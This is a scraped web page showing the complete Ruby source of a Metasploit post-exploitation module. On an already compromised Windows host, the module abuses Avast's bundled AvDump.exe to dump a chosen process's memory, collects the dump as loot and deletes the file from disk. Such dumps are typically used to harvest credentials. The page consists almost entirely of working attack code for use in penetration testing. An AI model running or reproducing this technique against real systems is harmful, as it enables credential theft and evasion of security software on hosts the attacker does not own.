Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/avast_memory_dump.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rbconfig'67class MetasploitModule < Msf::Post8include Msf::Post::File910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Avast AV Memory Dumping Utility',15'Description' => %q{16This module leverages an Avast Anti-Virus memory dump utility that is shipped17by default with Avast Anti-Virus Home software suite.18},19'License' => MSF_LICENSE,20'Author' => [ 'DLL_Cool_J' ],21'Platform' => [ 'win'],22'SessionTypes' => [ 'meterpreter'],23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],26'Reliability' => []27}28)29)3031register_options([32OptString.new('PID', [true, 'specify pid to dump' ]),33OptString.new('DUMP_PATH', [true, 'specify location to write dump file to', 'C:\\Users\\Public\\tmp.dmp'])34])35end3637def avdump38avdump_paths = [39'Avast\\AvDump.exe',40'BreachGuard\\AvDump.exe',41'Cleanup\\AvDump.exe',42'Driver Updater\\AvDump.exe',43'SecureLine VPN\\AvDump.exe'44]4546base = expand_path('%PROGRAMFILES%\\Avast Software\\')47avdump_paths.each do |p|48if file_exist?(base + p.to_s)49return base + p.to_s50end51end52end5354def run55fail_with(Failure::NotVulnerable, 'AvDump.exe does not exist on target.') unless avdump56print_status('AvDump.exe exists!')5758dump_path = datastore['DUMP_PATH']59pid = datastore['PID'].to_s6061print_status("Executing Avast memory dumping utility (#{avdump}) against pid #{pid} writing to #{dump_path}")62result = cmd_exec("#{avdump} --pid #{pid} --exception_ptr 0 --thread_id 0 --dump_file \"#{dump_path}\" --min_interval 0")6364fail_with(Failure::Unknown, "Dump file #{dump_path} was not created") unless file_exist?(dump_path)65print_status(dump_path)66mem_file = read_file(dump_path)67store_loot('host.avast.memdump', 'binary/db', session, mem_file)6869print_status(result)70rm_f(dump_path)71end72end737475